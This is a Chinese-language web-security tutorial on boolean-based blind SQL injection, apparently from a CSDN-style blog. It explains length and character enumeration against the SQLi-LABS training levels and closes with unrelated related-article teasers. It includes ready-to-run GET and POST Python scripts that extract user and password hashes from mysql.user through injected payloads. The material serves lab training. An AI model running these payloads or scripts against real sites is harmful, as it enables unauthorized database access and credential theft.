当前位置: 首页 > news >正文

Web安全:SQL注入之布尔盲注原理+步骤+实战操作

「作者简介」:2022年北京冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础对安全知识体系进行总结与归纳,著作适用于快速入门的 《网络安全自学教程》,内容涵盖系统安全、信息收集等12个知识域的一百多个知识点,持续更新。

这一章节我们需要知道布尔盲注的原理和使用步骤。

在这里插入图片描述

布尔盲注是SQL注入漏洞的利用方式之一,布尔盲注使用时分为两个步骤:

  1. 使用 length()函数判断查询结果的「长度」
  2. 使用 substr()函数「截取」每一个字符,并「穷举」出字符内容

布尔盲注

  • 1、原理分析
    • 1.1、长度判断原理
    • 1.2、穷举字符原理
  • 2、步骤总结
    • 2.1、判断注入点
    • 2.2、判断长度
    • 2.3、枚举字符
  • 3、盲注脚本

1、原理分析

接下来,我们以测试网站(SQLi LABS 第5关)为例,解释一下这两个步骤的详细使用方式和注入的原理。

1.1、长度判断原理

首先,利用MySQL的 length()函数判断返回结果的「长度」是多少。

比如,我们猜database()当前数据库名字的长度是1个字符,在地址栏输入:

?id=1' and length( database() )=1 -- a

执行流程如下:
在这里插入图片描述
页面异常(空)显示,表示猜解长度有误;

页面正常显示,表示猜解长度正确;

依次猜测1,2,3……n,直至长度猜解正确(页面正常显示)。
在这里插入图片描述
如上,测试长度1~7一直异常(空)显示,测试长度8时变为正常显示,就意味着查询结果的长度是8.

1.2、穷举字符原理

查询结果由一个个字符组成,每一个字符有95种可能性(大小写字母、数字、特殊符号),对应的ASCLL编码是32~126。

不了解ASCLL编码的可以看我的另一篇文章:ASCLL编码详解,ASCLL编码对照表

使用MySQL的 substr()函数「截取」查询结果的第一个字符,使用 ascii()函数 将截取的字符「转换」成 ASCLL编码,依次判断是否等于32,33,34……126。

页面异常(空)显示,表示猜解失误;

页面正常显示,表示猜解正确;

猜解流程如下:
在这里插入图片描述
ASCLL编码 115 对应的字符是 ‘s’,确定第一个字符是:s

上一步已经确定了长度是 8,依次截取第 1~8个字符,并依次判断每个字符的内容。
在这里插入图片描述

2、步骤总结

页面没有显示位置,没有报错信息,只有登录成功和登录失败这两种情况时,使用布尔盲注。布尔盲注的效率并不高,所以使用优先级排在联合准入、报错注入后面。

2.1、判断注入点

同时满足以下两种情况:

?id=1' and 1 -- a	正常显示
?id=1' and 0 -- a	异常(空)显示

2.2、判断长度

?id=1' and length( 查询语句 )=1 -- a	

2.3、枚举字符

?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a

3、盲注脚本

手工盲注的时间复杂度非常大,通常会使用脚本盲注。

get请求盲注脚本:

import requests# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length((select group_concat(user,password)from mysql.user)) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((select group_concat(user,password)from mysql.user),{n},1)) = {r} -- a"""# 获取长度
def getLength(url, payload):length = 1  # 初始测试长度为1while True:response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1  # 测试长度递增# 获取字符
def getStr(url, payload, length):str = ''  # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(n= l, r= n))# 页面中出现此内容则表示成功if 'You are in...........' in response.text:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

post请求盲注脚本:

import requests# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length((select group_concat(user,password) from mysql.user))>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(substr((select group_concat(user,password)from mysql.user),{l},1))={n} -- a"""# post请求参数
data= {"uname" : "a') or 1 -- a","passwd" : "1","submit" : "Submit"
}# 判断长度
def getLen(payload_len):length = 1while True:# 修改请求参数data["uname"] = payload_len.format(n = length)response = requests.post(url=url, data=data)# 出现此内容为登录成功if '../images/flag.jpg' in response.text:print('正在测试长度:', length)length += 1else:print('测试成功,长度为:', length)return length;# 枚举字符
def getStr(length):str = ''# 从第一个字符开始截取for l in range(1, length+1):# 枚举字符的每一种可能性for n in range(32, 126):data["uname"] = payload_str.format(l=l, n=n)response = requests.post(url=url, data=data)if '../images/flag.jpg' in response.text:str += chr(n)print('第', l, '个字符枚举成功:',str )breaklength = getLen(payload_len)
getStr(length)

相关文章:

Web安全:SQL注入之布尔盲注原理+步骤+实战操作

「作者简介」&#xff1a;2022年北京冬奥会网络安全中国代表队&#xff0c;CSDN Top100&#xff0c;就职奇安信多年&#xff0c;以实战工作为基础对安全知识体系进行总结与归纳&#xff0c;著作适用于快速入门的 《网络安全自学教程》&#xff0c;内容涵盖系统安全、信息收集等…...

电商秒杀系统-案例04-redis下的session控制

前言&#xff1a; 在现代的Web应用中&#xff0c;安全和高效的用户身份验证机制是至关重要的。本文将深入探讨基于令牌的用户登录会话机制&#xff0c;特别是在使用Redis进行会话管理的情景。通过这一案例实战&#xff0c;我们将了解令牌如何在用户身份验证过程中发挥核心作用&…...

贪吃蛇(c实现)

目录 游戏说明&#xff1a; 第一个是又是封面&#xff0c;第二个为提示信息&#xff0c;第三个是游戏运行界面 游戏效果展示&#xff1a; 游戏代码展示&#xff1a; snack.c test.c snack.h 控制台程序的准备&#xff1a; 控制台程序名字修改&#xff1a; 参考&#xff1a…...

【论文阅读笔记】MapReduce: Simplified Data Processing on Large Clusters

文章目录 1 概念2 编程模型3 实现3.1 MapReduce执行流程3.2 master数据结构3.3 容错机制3.3.1 worker故障3.3.2 master故障3.3.3 出现故障时的语义 3.4 存储位置3.5 任务粒度3.6 备用任务 4 扩展技巧4.1 分区函数4.2 顺序保证4.3 Combiner函数4.4 输入和输出的类型4.5 副作用4.…...

LeetCode题练习与总结:二叉树的中序遍历--94

一、题目描述 给定一个二叉树的根节点 root &#xff0c;返回 它的 中序 遍历 。 示例 1&#xff1a; 输入&#xff1a;root [1,null,2,3] 输出&#xff1a;[1,3,2]示例 2&#xff1a; 输入&#xff1a;root [] 输出&#xff1a;[]示例 3&#xff1a; 输入&#xff1a;roo…...

云计算十三课

centos安装 点击左上角文件 点击新建虚拟机 点击下一步 点击稍后安装操作系统&#xff0c;下一步 选择Linux&#xff08;l&#xff09;下一步 设置虚拟机名称 点击浏览选择安装位置 新建文件夹设置名称不能为中文&#xff0c;点击确定 点击下一步 设置磁盘大小点击下一步…...

[数据集][目标检测]电力场景安全帽检测数据集VOC+YOLO格式295张2类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;295 标注数量(xml文件个数)&#xff1a;295 标注数量(txt文件个数)&#xff1a;295 标注类别…...

AtCoder Beginner Contest 308 A题 New Scheme

A题&#xff1a;New Scheme 标签&#xff1a;模拟 题意&#xff1a;给定 8 8 8个数的序列&#xff0c;询问这些数是否满足以下条件&#xff1a; 在 100 100 100到 675 675 675之间且能被 25 25 25整除序列是单调非递减的 题解&#xff1a;按题意模拟判断就好了。 代码&#…...

C++编程与朱元墇的关系

学编程和英语没关系&#xff0c;我说这句话&#xff0c;没人会相信&#xff0c;也不会有人说我什么哗众取宠。 我说学编程和朱元墇有关系&#xff0c;一定有人说我放P&#xff0c;其实这个P也和朱元墇有关系&#xff0c; 和朱元墇有什么P关系啊。 真有这P事啊&#xff0c; 朱元…...

0060__设计模式

1. 简单工厂模式( Simple Factory Pattern ) — Graphic Design Patterns 工厂模式 | 菜鸟教程 【设计模式——学习笔记】23种设计模式——建造者模式Builder&#xff08;原理讲解应用场景介绍案例介绍Java代码实现&#xff09;-CSDN博客 设计模式—— 五&#xff1a;迪米特…...

【Linux 网络】网络编程套接字 -- 详解

⚪ 预备知识 1、理解源 IP 地址和目的 IP 地址 举例理解&#xff1a;&#xff08;唐僧西天取经&#xff09; 在 IP 数据包头部中 有两个 IP 地址&#xff0c; 分别叫做源 IP 地址 和目的 IP 地址。 如果我们的台式机或者笔记本没有 IP 地址就无法上网&#xff0c;而因为…...

编译OpenResty遇到找不到OpenSSL的解决办法

以OpenResty-1.19.9.1为例 编辑openresty-1.19.9.1/build/nginx-1.19.9/auto/lib/openssl/conf CORE_INCS"$CORE_INCS $OPENSSL/.openssl/include" CORE_DEPS"$CORE_DEPS $OPENSSL/.openssl/include/openssl/ssl.h" CORE_LIBS"$CORE_LIBS $OPENSSL/.…...

Amazon Bedrock 托管 Llama 3 8B70B

Amazon Bedrock 托管 Llama 3 8B&70B&#xff0c;先来体验&#xff1a;&#xff08;*实验环境账号有效期为1天&#xff0c;到期自动关停&#xff0c;请注意重要数据保护&#xff09; https://dev.amazoncloud.cn/experience/cloudlab?id65fd86c7ca2a0d291be26068&visi…...

海豚调度器早期版本如何新增worker分组

在DolphinScheduler 1.3.5版本中&#xff0c;Worker分组通常是在部署时通过配置文件进行定义的&#xff0c;而不是在用户界面上直接操作。以下是在DolphinScheduler中新增Worker分组的一般步骤&#xff1a; 修改配置文件&#xff1a; DolphinScheduler的Worker分组信息通常在/…...

Debian Linux 下给Nginx 1.26.0 编译增加Brotli算法支持

明月发现参考【给Nginx添加谷歌Brotli压缩算法支持】一文给出的方法&#xff0c;在Debian Linux 12.5下就一直编译失败&#xff0c;主要的错误是因为文件缺失&#xff0c;在专门又安装了apt-get install libbrotli-dev的依赖库后依然会因为文件缺失无法编译完成&#xff0c;就这…...

中国银行从业在线教育系统,如何搭建网课平台?

如今这个时代相信没多少人是没听过网课平台的&#xff0c;绝大多数人对网课平台的名气是如雷贯耳的。时代的发展&#xff0c;让人们学习的方式变得更加的方便与快捷。今天就来和大家说说网课平台搭建都有哪些方法?网课平台难搭建么? 网课平台搭建的方法&#xff0c;其实网课平…...

解决java.lang.IllegalArgumentException异常的正确方法

java.lang.IllegalArgumentException 是 Java 中的一个异常类&#xff0c;表示方法中传递的参数不合法。这个异常通常在方法被调用时抛出&#xff0c;表明方法的参数出现了问题。要正确解决这个异常&#xff0c;你可以按照以下步骤进行&#xff1a; 查看异常信息&#xff1a;首…...

齿轮滚刀刃口钝化技术简介

介绍 在滚刀的使用中发现&#xff0c;进口滚刀和国产滚刀在加工质量和寿命方面存在显著差异。经过多次比较得知&#xff0c;滚刀的使用寿命可以达到国产滚刀的两倍以上&#xff0c;而进口滚刀返回原厂磨削后的使用寿命约为新刀具的90% &#xff0c;但同样经过国内厂家磨削后&a…...

【ESP32接入ATK-MO1218 GPS模块】

【ESP32接入ATK-MO1218 GPS模块】 1. 引言2. ATK-MO1218 GPS模块概述3. 接入ATK-MO1218 GPS模块的步骤4. 示例代码5. 结论1. 引言 在现代的嵌入式系统和物联网项目中,精确的位置信息是至关重要的。ATK-MO1218 GPS模块作为一款高性能的GPS/北斗双模定位模块,为开发者提供了强…...

EDA设计学习笔记2:STM32F103C8T6最小系统板的仿绘

今日开始仿制练习一个STM32F103C8T6最小系统板&#xff0c;通过对这个最小系统板的仿制&#xff0c;达到对自己PCB设计的练习的目的&#xff0c;最终目标是自己设计出一块PCB&#xff0c;做一个OLED的桌面小摆件...... 也不知道画出来能不能用..... 目录 主控芯片的搜索与放置…...

如何高效下载B站视频:3分钟掌握智能下载工具完整指南

如何高效下载B站视频&#xff1a;3分钟掌握智能下载工具完整指南 【免费下载链接】BiliDownloader BiliDownloader是一款界面精简&#xff0c;操作简单且高速下载的b站下载器 项目地址: https://gitcode.com/gh_mirrors/bi/BiliDownloader 你是否曾经遇到过这样的情况&a…...

词达人自动化助手终极指南:10倍效率解放你的英语学习时间

词达人自动化助手终极指南&#xff1a;10倍效率解放你的英语学习时间 【免费下载链接】cdr 微信词达人&#xff0c;高正确率&#xff0c;高效简洁。支持班级任务及自选任务 项目地址: https://gitcode.com/gh_mirrors/cd/cdr 核心关键词&#xff1a;词达人自动化助手、P…...

ARM1176JZF芯片架构与时钟管理深度解析

1. ARM1176JZF芯片架构概览 ARM1176JZF是ARMv6架构中的经典处理器内核&#xff0c;广泛应用于嵌入式系统和移动设备。这款芯片采用了先进的流水线设计和动态时钟调节技术&#xff0c;在性能与功耗之间实现了出色的平衡。开发芯片版本特别集成了完整的调试功能和性能监控单元&am…...

昇腾310开发板内存告急?手把手教你在Ubuntu虚拟机上离线转换YOLOv5模型(非root用户避坑指南)

昇腾310开发板内存告急&#xff1f;Ubuntu虚拟机离线转换YOLOv5模型全攻略 当开发者手头只有一块内存有限的昇腾310开发板时&#xff0c;模型转换工作往往会遇到硬件资源不足的困境。本文将详细介绍如何在普通x86架构的Ubuntu虚拟机上&#xff0c;完成YOLOv5模型的离线转换全流…...

RISC-V开发板深度测评指南:从硬件解析到生态实战

1. 项目概述&#xff1a;一次深度参与RISC-V生态的实战机会最近&#xff0c;电子发烧友社区联合多家厂商发起的第二届RISC-V开发板测评大赛&#xff0c;吸引了圈内不少工程师和爱好者的目光。其中&#xff0c;昊芯&#xff08;Haawking&#xff09;作为一家专注于RISC-V处理器I…...

为什么你的Perplexity薪资查询总返回403?3类Token权限陷阱+2种合法绕行路径(含Postman配置模板)

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;为什么你的Perplexity薪资查询总返回403&#xff1f;3类Token权限陷阱2种合法绕行路径&#xff08;含Postman配置模板&#xff09; 当你调用 Perplexity 提供的薪资数据 API&#xff08;如 /v1/salari…...

图像采集卡与相机内置采集:架构差异、性能对比与选型指南

1. 项目概述&#xff1a;从“外挂”到“内置”的采集路径之争在视觉系统集成或工业检测项目里&#xff0c;选型阶段总会遇到一个基础但关键的问题&#xff1a;图像采集卡和相机内置的采集功能&#xff0c;到底该用哪个&#xff1f;这可不是一个简单的“哪个更好”的问题&#x…...

D2DX:终极解决方案!让经典《暗黑破坏神2》在现代PC上焕发新生

D2DX&#xff1a;终极解决方案&#xff01;让经典《暗黑破坏神2》在现代PC上焕发新生 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d…...

中小团队如何通过Taotoken实现AI模型调用成本的可观测与可优化

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 中小团队如何通过Taotoken实现AI模型调用成本的可观测与可优化 对于中小型研发团队而言&#xff0c;引入大模型能力已成为提升产品…...

终极免费Redis可视化工具:Windows版RedisDesktopManager完全指南

终极免费Redis可视化工具&#xff1a;Windows版RedisDesktopManager完全指南 【免费下载链接】RedisDesktopManager-Windows RedisDesktopManager Windows版本 项目地址: https://gitcode.com/gh_mirrors/re/RedisDesktopManager-Windows 你是否厌倦了在命令行中操作Red…...